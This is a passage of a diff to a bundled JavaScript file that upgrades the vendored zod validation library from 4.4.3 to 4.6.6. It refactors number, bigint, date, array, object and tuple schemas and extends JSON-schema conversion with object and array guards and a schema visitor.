${format}`); return _stringFormat(ZodCustomStringFormat, format, regex, params); } -var ZodNumber = /* @__PURE__ */ $constructor("ZodNumber", (inst, def) => { - $ZodNumber.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => numberProcessor(inst, ctx, json3, params); - _installLazyMethods(inst, "ZodNumber", { +var ZodNumber = /* @__PURE__ */ $constructor( + "ZodNumber", + (inst, def) => { + $ZodNumber.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => numberProcessor(inst, ctx, json3, params); + inst.isFinite = true; + }, + /* @__PURE__ */ util_exports.derived({ + minValue: (inst) => { + const { minimum, exclusiveMinimum } = aggregateChecks(inst); + return Math.max(minimum ?? Number.NEGATIVE_INFINITY, exclusiveMinimum ?? Number.NEGATIVE_INFINITY); + }, + maxValue: (inst) => { + const { maximum, exclusiveMaximum } = aggregateChecks(inst); + return Math.min(maximum ?? Number.POSITIVE_INFINITY, exclusiveMaximum ?? Number.POSITIVE_INFINITY); + }, + isInt: (inst) => { + const { isInt, multipleOf } = aggregateChecks(inst); + return !!isInt || !!multipleOf?.some(Number.isSafeInteger); + }, + format: (inst) => aggregateChecks(inst).format ?? null + }, { gt(value, params) { return this.check(_gt(value, params)); }, @@ -67923,14 +72597,8 @@ var ZodNumber = /* @__PURE__ */ $constructor("ZodNumber", (inst, def) => { finite() { return this; } - }); - const bag = inst._zod.bag; - inst.minValue = Math.max(bag.minimum ?? Number.NEGATIVE_INFINITY, bag.exclusiveMinimum ?? Number.NEGATIVE_INFINITY) ?? null; - inst.maxValue = Math.min(bag.maximum ?? Number.POSITIVE_INFINITY, bag.exclusiveMaximum ?? Number.POSITIVE_INFINITY) ?? null; - inst.isInt = (bag.format ?? "").includes("int") || Number.isSafeInteger(bag.multipleOf ?? 0.5); - inst.isFinite = true; - inst.format = bag.format ?? null; -}); + }) +); function number2(params) { return _number(ZodNumber, params); } @@ -67961,28 +72629,53 @@ var ZodBoolean = /* @__PURE__ */ $constructor("ZodBoolean", (inst, def) => { function boolean2(params) { return _boolean(ZodBoolean, params); } -var ZodBigInt = /* @__PURE__ */ $constructor("ZodBigInt", (inst, def) => { - $ZodBigInt.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => bigintProcessor(inst, ctx, json3, params); - inst.gte = (value, params) => inst.check(_gte(value, params)); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.gt = (value, params) => inst.check(_gt(value, params)); - inst.gte = (value, params) => inst.check(_gte(value, params)); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.lt = (value, params) => inst.check(_lt(value, params)); - inst.lte = (value, params) => inst.check(_lte(value, params)); - inst.max = (value, params) => inst.check(_lte(value, params)); - inst.positive = (params) => inst.check(_gt(BigInt(0), params)); - inst.negative = (params) => inst.check(_lt(BigInt(0), params)); - inst.nonpositive = (params) => inst.check(_lte(BigInt(0), params)); - inst.nonnegative = (params) => inst.check(_gte(BigInt(0), params)); - inst.multipleOf = (value, params) => inst.check(_multipleOf(value, params)); - const bag = inst._zod.bag; - inst.minValue = bag.minimum ?? null; - inst.maxValue = bag.maximum ?? null; - inst.format = bag.format ?? null; -}); +var ZodBigInt = /* @__PURE__ */ $constructor( + "ZodBigInt", + (inst, def) => { + $ZodBigInt.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => bigintProcessor(inst, ctx, json3, params); + }, + /* @__PURE__ */ util_exports.derived({ + minValue: (inst) => aggregateChecks(inst).minimum ?? null, + maxValue: (inst) => aggregateChecks(inst).maximum ?? null, + format: (inst) => aggregateChecks(inst).format ?? null + }, { + gte(value, params) { + return this.check(_gte(value, params)); + }, + min(value, params) { + return this.check(_gte(value, params)); + }, + gt(value, params) { + return this.check(_gt(value, params)); + }, + lt(value, params) { + return this.check(_lt(value, params)); + }, + lte(value, params) { + return this.check(_lte(value, params)); + }, + max(value, params) { + return this.check(_lte(value, params)); + }, + positive(params) { + return this.check(_gt(BigInt(0), params)); + }, + negative(params) { + return this.check(_lt(BigInt(0), params)); + }, + nonpositive(params) { + return this.check(_lte(BigInt(0), params)); + }, + nonnegative(params) { + return this.check(_gte(BigInt(0), params)); + }, + multipleOf(value, params) { + return this.check(_multipleOf(value, params)); + } + }) +); function bigint2(params) { return _bigint(ZodBigInt, params); } @@ -68052,41 +72745,51 @@ var ZodVoid = /* @__PURE__ */ $constructor("ZodVoid", (inst, def) => { function _void2(params) { return _void(ZodVoid, params); } -var ZodDate = /* @__PURE__ */ $constructor("ZodDate", (inst, def) => { - $ZodDate.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => dateProcessor(inst, ctx, json3, params); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.max = (value, params) => inst.check(_lte(value, params)); - const c = inst._zod.bag; - inst.minDate = c.minimum ? new Date(c.minimum) : null; - inst.maxDate = c.maximum ? new Date(c.maximum) : null; -}); -function date3(params) { +var ZodDate = /* @__PURE__ */ $constructor( + "ZodDate", + (inst, def) => { + $ZodDate.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => dateProcessor(inst, ctx, json3, params); + inst.min = (value, params) => inst.check(_gte(value, params)); + inst.max = (value, params) => inst.check(_lte(value, params)); + }, + /* @__PURE__ */ util_exports.derived({ + minDate: (inst) => { + const { minimum } = aggregateChecks(inst); + return minimum ? new Date(minimum) : null; + }, + maxDate: (inst) => { + const { maximum } = aggregateChecks(inst); + return maximum ? new Date(maximum) : null; + } + }, {}) +); +function date2(params) { return _date(ZodDate, params); } var ZodArray = /* @__PURE__ */ $constructor("ZodArray", (inst, def) => { + _ensureDefaultMemoizer(); $ZodArray.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => arrayProcessor(inst, ctx, json3, params); inst.element = def.element; - _installLazyMethods(inst, "ZodArray", { - min(n, params) { - return this.check(_minLength(n, params)); - }, - nonempty(params) { - return this.check(_minLength(1, params)); - }, - max(n, params) { - return this.check(_maxLength(n, params)); - }, - length(n, params) { - return this.check(_length(n, params)); - }, - unwrap() { - return this.element; - } - }); +}, { + min(n, params) { + return this.check(_minLength(n, params)); + }, + nonempty(params) { + return this.check(_minLength(1, params)); + }, + max(n, params) { + return this.check(_maxLength(n, params)); + }, + length(n, params) { + return this.check(_length(n, params)); + }, + unwrap() { + return this.element; + } }); function array(element, params) { return _array(ZodArray, element, params); @@ -68096,53 +72799,54 @@ function keyof(schema) { return _enum2(Object.keys(shape)); } var ZodObject = /* @__PURE__ */ $constructor("ZodObject", (inst, def) => { + _ensureDefaultMemoizer(); $ZodObjectJIT.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => objectProcessor(inst, ctx, json3, params); - util_exports.defineLazy(inst, "shape", () => { - return def.shape; - }); - _installLazyMethods(inst, "ZodObject", { - keyof() { - return _enum2(Object.keys(this._zod.def.shape)); - }, - catchall(catchall) { - return this.clone({ ...this._zod.def, catchall }); - }, - passthrough() { - return this.clone({ ...this._zod.def, catchall: unknown() }); - }, - loose() { - return this.clone({ ...this._zod.def, catchall: unknown() }); - }, - strict() { - return this.clone({ ...this._zod.def, catchall: never() }); - }, - strip() { - return this.clone({ ...this._zod.def, catchall: void 0 }); - }, - extend(incoming) { - return util_exports.extend(this, incoming); - }, - safeExtend(incoming) { - return util_exports.safeExtend(this, incoming); - }, - merge(other) { - return util_exports.merge(this, other); - }, - pick(mask) { - return util_exports.pick(this, mask); - }, - omit(mask) { - return util_exports.omit(this, mask); - }, - partial(...args) { - return util_exports.partial(ZodOptional, this, args[0]); - }, - required(...args) { - return util_exports.required(ZodNonOptional, this, args[0]); - } - }); + util_exports.installLazyProp(inst, "shape", (self2) => self2._zod.def.shape, false); +}, { + keyof() { + return _enum2(Object.keys(this._zod.def.shape)); + }, + catchall(catchall) { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall })); + }, + passthrough() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: unknown() })); + }, + loose() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: unknown() })); + }, + strict() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: never() })); + }, + strip() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: void 0 })); + }, + extend(incoming) { + return util_exports.extend(this, incoming); + }, + safeExtend(incoming) { + return util_exports.safeExtend(this, incoming); + }, + merge(other) { + return util_exports.merge(this, other); + }, + pick(mask) { + return util_exports.pick(this, mask); + }, + omit(mask) { + return util_exports.omit(this, mask); + }, + partial(...args) { + return util_exports.partial(ZodOptional, this, args[0]); + }, + exactPartial(...args) { + return util_exports.partial(ZodExactOptional, this, args[0], "exactPartial"); + }, + required(...args) { + return util_exports.required(ZodNonOptional, this, args[0]); + } }); function object(shape, params) { const def = { @@ -68220,13 +72924,26 @@ function intersection(left, right) { }); } var ZodTuple = /* @__PURE__ */ $constructor("ZodTuple", (inst, def) => { + _ensureDefaultMemoizer(); $ZodTuple.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => tupleProcessor(inst, ctx, json3, params); - inst.rest = (rest) => inst.clone({ - ...inst._zod.def, - rest - }); +}, { + rest(rest) { + return this.clone({ + ...this._zod.def, + rest + }); + }, + partial() { + const def = this._zod.def; + if (def.checks?.length) + throw new Error(".partial() cannot be used on tuple schemas containing refinements"); + return this.clone({ + ...def, + items: def.items.map((item) => new ZodOptional({ type: "optional", innerType: item })) + }); + } }); function tuple(items, _paramsOrRest, _params) { const hasRest = _paramsOrRest instanceof $ZodType; @@ -68240,6 +72957,7 @@ function tuple(items, _paramsOrRest, _params) { }); } var ZodRecord = /* @__PURE__ */ $constructor("ZodRecord", (inst, def) => { + _ensureDefaultMemoizer(); $ZodRecord.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => recordProcessor(inst, ctx, json3, params); @@ -68263,13 +72981,12 @@ function record(keyType, valueType, params) { }); } function partialRecord(keyType, valueType, params) { - const k = clone(keyType); - k._zod.values = void 0; return new ZodRecord({ type: "record", - keyType: k, + keyType, valueType, - ...util_exports.normalizeParams(params) + ...util_exports.normalizeParams(params), + partial: true }); } function looseRecord(keyType, valueType, params) { @@ -68282,6 +72999,7 @@ function looseRecord(keyType, valueType, params) { }); } var ZodMap = /* @__PURE__ */ $constructor("ZodMap", (inst, def) => { + _ensureDefaultMemoizer(); $ZodMap.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => mapProcessor(inst, ctx, json3, params); @@ -68301,6 +73019,7 @@ function map(keyType, valueType, params) { }); } var ZodSet = /* @__PURE__ */ $constructor("ZodSet", (inst, def) => { + _ensureDefaultMemoizer(); $ZodSet.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => setProcessor(inst, ctx, json3, params); @@ -68321,7 +73040,7 @@ var ZodEnum = /* @__PURE__ */ $constructor("ZodEnum", (inst, def) => { ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => enumProcessor(inst, ctx, json3, params); inst.enum = def.entries; - inst.options = Object.values(def.entries); + inst.options = [...inst._zod.values]; const keys = new Set(Object.keys(def.entries)); inst.extract = (values2, params) => { const newEntries = {}; @@ -68402,6 +73121,7 @@ function file(params) { return _file(ZodFile, params); } var ZodTransform = /* @__PURE__ */ $constructor("ZodTransform", (inst, def) => { + _ensureDefaultMemoizer(); $ZodTransform.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => transformProcessor(inst, ctx, json3, params); @@ -68417,21 +73137,20 @@ var ZodTransform = /* @__PURE__ */ $constructor("ZodTransform", (inst, def) => { if (_issue.fatal) _issue.continue = false; _issue.code ?? (_issue.code = "custom"); - _issue.input ?? (_issue.input = payload.value); + if (!("input" in _issue)) + _issue.input = payload.value; _issue.inst ?? (_issue.inst = inst); payload.issues.push(util_exports.issue(_issue)); } }; - const output = def.transform(payload.value, payload); - if (output instanceof Promise) { - return output.then((output2) => { - payload.value = output2; - payload.fallback = true; + const output2 = def.transform(payload.value, payload); + if (output2 instanceof Promise) { + return output2.then((output3) => { + payload.value = output3; return payload; }); } - payload.value = output; - payload.fallback = true; + payload.value = output2; return payload; }; }); @@ -68547,7 +73266,7 @@ function _catch2(innerType, catchValue) { return new ZodCatch({ type: "catch", innerType, - catchValue: typeof catchValue === "function" ? catchValue : () => catchValue + catchValue: typeof catchValue === "function" ? catchValue : util_exports.constantCatch(catchValue) }); } var ZodNaN = /* @__PURE__ */ $constructor("ZodNaN", (inst, def) => { @@ -68684,8 +73403,15 @@ function superRefine(fn, params) { } var describe2 = describe; var meta2 = meta; +var ZodInstanceOf = /* @__PURE__ */ $constructor("ZodInstanceOf", (inst, def) => { + ZodCustom.init(inst, def); +}, { + properties(shape, params) { + return this.check(_properties(shape, params)); + } +}); function _instanceof(cls, params = {}) { - const inst = new ZodCustom({ + const inst = new ZodInstanceOf({ type: "custom", check: "custom", fn: (data) => data instanceof cls, @@ -68725,7 +73451,7 @@ function preprocess(fn, schema) { }); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/compat.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/compat.js var ZodIssueCode = { invalid_type: "invalid_type", too_big: "too_big", @@ -68751,7 +73477,32 @@ var ZodFirstPartyTypeKind; /* @__PURE__ */ (function(ZodFirstPartyTypeKind2) { })(ZodFirstPartyTypeKind || (ZodFirstPartyTypeKind = {})); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/from-json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/iso.js +var iso_exports = {}; +__export(iso_exports, { + ZodISODate: () => ZodISODate, + ZodISODateTime: () => ZodISODateTime, + ZodISODuration: () => ZodISODuration, + ZodISOTime: () => ZodISOTime, + date: () => date3, + datetime: () => datetime2, + duration: () => duration2, + time: () => time2 +}); +function datetime2(params) { + return _isoDateTime(ZodISODateTime, params); +} +function date3(params) { + return _isoDate(ZodISODate, params); +} +function time2(params) { + return _isoTime(ZodISOTime, params); +} +function duration2(params) { + return _isoDuration(ZodISODuration, params); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/from-json-schema.js var z = { ...schemas_exports2, ...checks_exports2, @@ -68841,6 +73592,12 @@ function detectVersion(schema, defaultTarget) { } return defaultTarget ?? "draft-2020-12"; } +function applyMinItems(items, minItems) { + return items.map((item, index2) => index2 < minItems ? item : item.optional()); +} +function decodeJSONPointerSegment(segment) { + return segment.replace(/~1/g, "/").replace(/~0/g, "~"); +} function resolveRef(ref, ctx) { if (!ref.startsWith("#")) { throw new Error("External $ref is not supported, only local refs (#/...) are allowed"); @@ -68851,7 +73608,7 @@ function resolveRef(ref, ctx) { } const defsKey = ctx.version === "draft-2020-12" ? "$defs" : "definitions"; if (path[0] === defsKey) { - const key = path[1]; + const key = path[1] === void 0 ? void 0 : decodeJSONPointerSegment(path[1]); if (!key || !ctx.defs[key]) { throw new Error(`Reference not found: ${ref}`); } @@ -68859,6 +73616,198 @@ function resolveRef(ref, ctx) { } throw new Error(`Reference not found: ${ref}`); } +function checkObjectGuards(objectSchema, guards) { + const guard = z.transform((value) => value).check((payload) => { + const value = payload.value; + if (typeof value !== "object" || value === null || Array.isArray(value)) + return; + const keys = Object.getOwnPropertyNames(value); + if (guards.minProperties !== void 0 && keys.length < guards.minProperties) { + payload.issues.push({ + origin: "object", + code: "too_small", + minimum: guards.minProperties, + inclusive: true, + message: `Too small: expected object to have >=${guards.minProperties} properties`, + input: value, + inst: objectSchema, + continue: true + }); + } + if (guards.maxProperties !== void 0 && keys.length > guards.maxProperties) { + payload.issues.push({ + origin: "object", + code: "too_big", + maximum: guards.maxProperties, + inclusive: true, + message: `Too big: expected object to have <=${guards.maxProperties} properties`, + input: value, + inst: objectSchema, + continue: true + }); + } + if (guards.keySchema) { + for (const key of keys) { + const result = guards.keySchema.safeParse(key); + if (result.success) + continue; + payload.issues.push({ + code: "invalid_key", + origin: "record", + issues: result.error.issues, + input: key, + path: [key], + continue: true + }); + } + } + }); + return guard.pipe(objectSchema); +} +function canonicalKey(value, seen) { + if (value === null) + return "z"; + const type = typeof value; + if (type !== "object") { + if (type === "number" && Number.isNaN(value)) + return null; + const raw = String(value); + return `${type[0]}${raw.length}:${raw}`; + } + if (seen.has(value)) + return null; + seen.add(value); + try { + if (Array.isArray(value)) { + const parts2 = []; + for (const item of value) { + const key = canonicalKey(item, seen); + if (key === null) + return null; + parts2.push(key); + } + return `a${parts2.length}:[${parts2.join(",")}]`; + } + const keys = Object.keys(value).sort(); + const parts = []; + for (const k of keys) { + const key = canonicalKey(value[k], seen); + if (key === null) + return null; + parts.push(`${k.length}:${k}=${key}`); + } + return `o${parts.length}:{${parts.join(",")}}`; + } finally { + seen.delete(value); + } +} +var SCHEMA_KEYWORDS = /* @__PURE__ */ new Set([ + "items", + "prefixItems", + "additionalItems", + "additionalProperties", + "contains", + "propertyNames", + "not", + "if", + "then", + "else", + "allOf", + "anyOf", + "oneOf", + "unevaluatedItems", + "unevaluatedProperties", + "contentSchema" +]); +var SCHEMA_MAP_KEYWORDS = /* @__PURE__ */ new Set([ + "properties", + "patternProperties", + "dependentSchemas", + "dependencies", + "$defs", + "definitions" +]); +function containsRef(value) { + if (typeof value !== "object" || value === null) + return false; + if (Array.isArray(value)) + return value.some(containsRef); + if (typeof value.$ref === "string") + return true; + return Object.entries(value).some(([key, sub]) => { + if (SCHEMA_KEYWORDS.has(key)) + return containsRef(sub); + if (!SCHEMA_MAP_KEYWORDS.has(key) || typeof sub !== "object" || sub === null) + return false; + return Object.values(sub).some(containsRef); + }); +} +function plural(n) { + return n === 1 ? "element" : "elements"; +} +function checkArrayGuards(arraySchema, guards) { + const guard = z.transform((value) => value).check((payload) => { + const items = payload.value; + if (!Array.isArray(items)) + return; + if (guards.uniqueItems === true) { + const firstSeen = /* @__PURE__ */ new Map(); + for (let i = 0; i < items.length; i++) { + const key = canonicalKey(items[i], /* @__PURE__ */ new Set()); + if (key === null) + continue; + const first = firstSeen.get(key); + if (first === void 0) { + firstSeen.set(key, i); + continue; + } + payload.issues.push({ + code: "custom", + message: `Array items must be unique: element at index ${i} duplicates the one at index ${first}`, + input: items, + path: [i], + continue: true + }); + } + } + if (guards.containsSchema) { + const minContains = guards.minContains ?? 1; + const ceiling = guards.maxContains !== void 0 ? guards.maxContains + 1 : Number.POSITIVE_INFINITY; + let matches = 0; + for (const item of items) { + if (guards.containsSchema.safeParse(item).success && ++matches >= ceiling) + break; + } + if (matches < minContains) { + payload.issues.push({ + code: "custom", + message: `Array must contain at least ${minContains} matching ${plural(minContains)}; found ${matches}`, + input: items, + continue: true + }); + } + if (guards.maxContains !== void 0 && matches > guards.maxContains) { + payload.issues.push({ + code: "custom", + message: `Array must contain at most ${guards.maxContains} matching ${plural(guards.maxContains)}`, + input: items, + continue: true + }); + } + } + }); + return guard.pipe(arraySchema); +} +function getTupleRest(restSchema, ctx) { + if (restSchema === false) { + return void 0; + } + if (restSchema === void 0 || restSchema === true) { + return z.any(); + } + return convertSchema(restSchema, ctx); +} +var fullTime = /^(?:[01]\d|2[0-3]):[0-5]\d:[0-5]\d(?:\.\d+)?(?:Z|[+-](?:[01]\d|2[0-3]):[0-5]\d)$/; function convertBaseSchema(schema, ctx) { if (schema.not !== void 0) { if (typeof schema.not === "object" && Object.keys(schema.not).length === 0) { @@ -68951,13 +73900,15 @@ function convertBaseSchema(schema, ctx) { } else if (format === "uuid" || format === "guid") { stringSchema = stringSchema.check(z.uuid()); } else if (format === "date-time") { - stringSchema = stringSchema.check(z.iso.datetime()); + stringSchema = stringSchema.check(z.iso.datetime({ offset: true })); } else if (format === "date") { stringSchema = stringSchema.check(z.iso.date()); } else if (format === "time") { - stringSchema = stringSchema.check(z.iso.time()); + stringSchema = stringSchema.check(z.regex(fullTime)); } else if (format === "duration") { stringSchema = stringSchema.check(z.iso.duration()); + } else if (format === "hostname") { + stringSchema = stringSchema.check(z.hostname()); } else if (format === "ipv4") { stringSchema = stringSchema.check(z.ipv4()); } else if (format === "ipv6") { @@ -68974,6 +73925,10 @@ function convertBaseSchema(schema, ctx) { stringSchema = stringSchema.check(z.base64url()); } else if (format === "e164") { stringSchema = stringSchema.check(z.e164()); + } else if (format === "credit_card") { + stringSchema = stringSchema.check(z.creditCard()); + } else if (format === "iban") { + stringSchema = stringSchema.check(z.iban()); } else if (format === "jwt") { stringSchema = stringSchema.check(z.jwt()); } else if (format === "emoji") { @@ -69007,10 +73962,10 @@ function convertBaseSchema(schema, ctx) { case "number": case "integer": { let numberSchema = type === "integer" ? z.number().int() : z.number(); - if (typeof schema.minimum === "number") { + if (typeof schema.minimum === "number" && schema.exclusiveMinimum !== true) { numberSchema = numberSchema.min(schema.minimum); } - if (typeof schema.maximum === "number") { + if (typeof schema.maximum === "number" && schema.exclusiveMaximum !== true) { numberSchema = numberSchema.max(schema.maximum); } if (typeof schema.exclusiveMinimum === "number") { @@ -69041,21 +73996,10 @@ function convertBaseSchema(schema, ctx) { const shape = {}; const properties = schema.properties || {}; const requiredSet = new Set(schema.required || []); + const additionalSchema = typeof schema.additionalProperties === "object" ? convertSchema(schema.additionalProperties, ctx) : void 0; for (const [key, propSchema] of Object.entries(properties)) { const propZodSchema = convertSchema(propSchema, ctx); - shape[key] = requiredSet.has(key) ? propZodSchema : propZodSchema.optional(); - } - if (schema.propertyNames) { - const keySchema = convertSchema(schema.propertyNames, ctx); - const valueSchema = schema.additionalProperties && typeof schema.additionalProperties === "object" ? convertSchema(schema.additionalProperties, ctx) : z.any(); - if (Object.keys(shape).length === 0) { - zodSchema = z.record(keySchema, valueSchema); - break; - } - const objectSchema2 = z.object(shape).passthrough(); - const recordSchema = z.looseRecord(keySchema, valueSchema); - zodSchema = z.intersection(objectSchema2, recordSchema); - break; + assignProp(shape, key, requiredSet.has(key) ? propZodSchema : propZodSchema.optional()); } if (schema.patternProperties) { const patternProps = schema.patternProperties; @@ -69082,15 +74026,51 @@ function convertBaseSchema(schema, ctx) { } zodSchema = result; } - break; - } - const objectSchema = z.object(shape); - if (schema.additionalProperties === false) { - zodSchema = objectSchema.strict(); - } else if (typeof schema.additionalProperties === "object") { - zodSchema = objectSchema.catchall(convertSchema(schema.additionalProperties, ctx)); + if (schema.additionalProperties === false) { + const propertyKeys = Object.keys(shape); + const patterns = patternKeys.map((p) => new RegExp(p)); + const basePatternSchema = zodSchema; + zodSchema = zodSchema.check((payload) => { + if (!isPlainObject(payload.value)) + return; + const unrecognized = []; + for (const key of Object.keys(payload.value)) { + if (propertyKeys.includes(key)) + continue; + if (patterns.some((regex) => regex.test(key))) + continue; + unrecognized.push(key); + } + if (unrecognized.length) { + payload.issues.push({ + code: "unrecognized_keys", + keys: unrecognized, + input: payload.value, + inst: basePatternSchema + }); + } + }); + } } else { - zodSchema = objectSchema.passthrough(); + const objectSchema = z.object(shape); + if (schema.additionalProperties === false) { + zodSchema = objectSchema.strict(); + } else if (additionalSchema) { + zodSchema = objectSchema.catchall(additionalSchema); + } else { + zodSchema = objectSchema.passthrough(); + } + } + const hasKeyGuard = schema.propertyNames !== void 0 && schema.propertyNames !== true; + const minProperties = typeof schema.minProperties === "number" ? schema.minProperties : void 0; + const maxProperties = typeof schema.maxProperties === "number" ? schema.maxProperties : void 0; + if (hasKeyGuard || minProperties !== void 0 || maxProperties !== void 0) { + let keySchema; + if (hasKeyGuard) { + const keyJSONSchema = typeof schema.propertyNames === "object" && schema.propertyNames.type === void 0 ? { type: "string", ...schema.propertyNames } : schema.propertyNames; + keySchema = convertSchema(keyJSONSchema, ctx); + } + zodSchema = checkObjectGuards(zodSchema, { keySchema, minProperties, maxProperties }); } break; } @@ -69098,13 +74078,12 @@ function convertBaseSchema(schema, ctx) { const prefixItems = schema.prefixItems; const items = schema.items; if (prefixItems && Array.isArray(prefixItems)) { + const minItems = typeof schema.minItems === "number" ? schema.minItems : 0; const tupleItems = prefixItems.map((item) => convertSchema(item, ctx)); - const rest = items && typeof items === "object" && !Array.isArray(items) ? convertSchema(items, ctx) : void 0; - if (rest) { - zodSchema = z.tuple(tupleItems).rest(rest); - } else { - zodSchema = z.tuple(tupleItems); - } + const positionalItems = applyMinItems(tupleItems, minItems); + const rest = !Array.isArray(items) ? getTupleRest(items, ctx) : void 0; + const tupleSchema = z.tuple(positionalItems); + zodSchema = rest ? tupleSchema.rest(rest) : tupleSchema; if (typeof schema.minItems === "number") { zodSchema = zodSchema.check(z.minLength(schema.minItems)); } @@ -69112,13 +74091,12 @@ function convertBaseSchema(schema, ctx) { zodSchema = zodSchema.check(z.maxLength(schema.maxItems)); } } else if (Array.isArray(items)) { + const minItems = typeof schema.minItems === "number" ? schema.minItems : 0; const tupleItems = items.map((item) => convertSchema(item, ctx)); - const rest = schema.additionalItems && typeof schema.additionalItems === "object" ? convertSchema(schema.additionalItems, ctx) : void 0; - if (rest) { - zodSchema = z.tuple(tupleItems).rest(rest); - } else { - zodSchema = z.tuple(tupleItems); - } + const positionalItems = applyMinItems(tupleItems, minItems); + const rest = getTupleRest(schema.additionalItems, ctx); + const tupleSchema = z.tuple(positionalItems); + zodSchema = rest ? tupleSchema.rest(rest) : tupleSchema; if (typeof schema.minItems === "number") { zodSchema = zodSchema.check(z.minLength(schema.minItems)); } @@ -69138,6 +74116,14 @@ function convertBaseSchema(schema, ctx) { } else { zodSchema = z.array(z.any()); } + if (schema.uniqueItems === true || schema.contains !== void 0) { + zodSchema = checkArrayGuards(zodSchema, { + uniqueItems: schema.uniqueItems === true, + containsSchema: schema.contains !== void 0 ? convertSchema(schema.contains, ctx) : void 0, + minContains: typeof schema.minContains === "number" ? schema.minContains : void 0, + maxContains: typeof schema.maxContains === "number" ? schema.maxContains : void 0 + }); + } break; } default: @@ -69195,9 +74181,27 @@ function convertSchema(schema, ctx) { extraMeta[key] = schema[key]; } } + if (schema.type === "object" && schema.$ref === void 0) { + if (schema.propertyNames !== void 0 && !containsRef(schema.propertyNames)) { + extraMeta.propertyNames = schema.propertyNames; + } + for (const key of ["minProperties", "maxProperties"]) { + if (schema[key] !== void 0) + extraMeta[key] = schema[key]; + } + } + if (schema.type === "array" && schema.$ref === void 0) { + if (schema.contains !== void 0 && !containsRef(schema.contains)) { + extraMeta.contains = schema.contains; + } + for (const key of ["uniqueItems", "minContains", "maxContains"]) { + if (schema[key] !== void 0) + extraMeta[key] = schema[key]; + } + } for (const key of Object.keys(schema)) { if (!RECOGNIZED_KEYS.has(key)) { - extraMeta[key] = schema[key]; + assignProp(extraMeta, key, schema[key]); } } if (Object.keys(extraMeta).length > 0) { @@ -69231,7 +74235,204 @@ function fromJSONSchema(schema, params) { return convertSchema(normalized, ctx); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/coerce.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/visit.js +var RESOLVING = Symbol("z.visit/resolving"); +function visit(schema, fnOrHandlers) { + const fn = typeof fnOrHandlers === "function" ? fnOrHandlers : (node2, rewritten) => { + const h = fnOrHandlers[node2._zod.def.type]; + return h ? h(node2, rewritten) : node2; + }; + const cache2 = /* @__PURE__ */ new Map(); + function run(s) { + const cached2 = cache2.get(s); + if (cached2 === RESOLVING) { + return new $ZodLazy({ + type: "lazy", + getter: () => cache2.get(s) + }); + } + if (cached2 !== void 0) + return cached2; + cache2.set(s, RESOLVING); + const inner = mapInner(s); + const mapped = fn(inner, inner !== s); + cache2.set(s, mapped); + return mapped; + } + function mapInner(s) { + const def = s._zod.def; + const kind = def.type; + switch (kind) { + case "object": { + const oldShape = def.shape; + const keys = Object.keys(oldShape); + let changed = false; + const newShape = {}; + for (const k of keys) { + const mapped = run(oldShape[k]); + if (mapped !== oldShape[k]) + changed = true; + newShape[k] = mapped; + } + let newCatchall = def.catchall; + if (def.catchall) { + newCatchall = run(def.catchall); + if (newCatchall !== def.catchall) + changed = true; + } + return changed ? clone(s, { ...def, shape: newShape, catchall: newCatchall }) : s; + } + case "array": { + const mapped = run(def.element); + return mapped === def.element ? s : clone(s, { ...def, element: mapped }); + } + case "tuple": { + const oldItems = def.items; + let changed = false; + const newItems = []; + for (const item of oldItems) { + const mapped = run(item); + if (mapped !== item) + changed = true; + newItems.push(mapped); + } + let newRest = def.rest; + if (def.rest) { + newRest = run(def.rest); + if (newRest !== def.rest) + changed = true; + } + return changed ? clone(s, { ...def, items: newItems, rest: newRest }) : s; + } + case "record": + case "map": { + const newKey = run(def.keyType); + const newVal = run(def.valueType); + return newKey === def.keyType && newVal === def.valueType ? s : clone(s, { ...def, keyType: newKey, valueType: newVal }); + } + case "set": { + const newVal = run(def.valueType); + return newVal === def.valueType ? s : clone(s, { ...def, valueType: newVal }); + } + case "union": { + const oldOptions = def.options; + let changed = false; + const newOptions = []; + for (const opt of oldOptions) { + const mapped = run(opt); + if (mapped !== opt) + changed = true; + newOptions.push(mapped); + } + return changed ? clone(s, { ...def, options: newOptions }) : s; + } + case "intersection": { + const newLeft = run(def.left); + const newRight = run(def.right); + return newLeft === def.left && newRight === def.right ? s : clone(s, { ...def, left: newLeft, right: newRight }); + } + case "optional": + case "nullable": + case "default": + case "prefault": + case "catch": + case "readonly": + case "nonoptional": + case "promise": + case "success": { + const newInner = run(def.innerType); + return newInner === def.innerType ? s : clone(s, { ...def, innerType: newInner }); + } + case "pipe": { + const newIn = run(def.in); + const newOut = run(def.out); + return newIn === def.in && newOut === def.out ? s : clone(s, { ...def, in: newIn, out: newOut }); + } + case 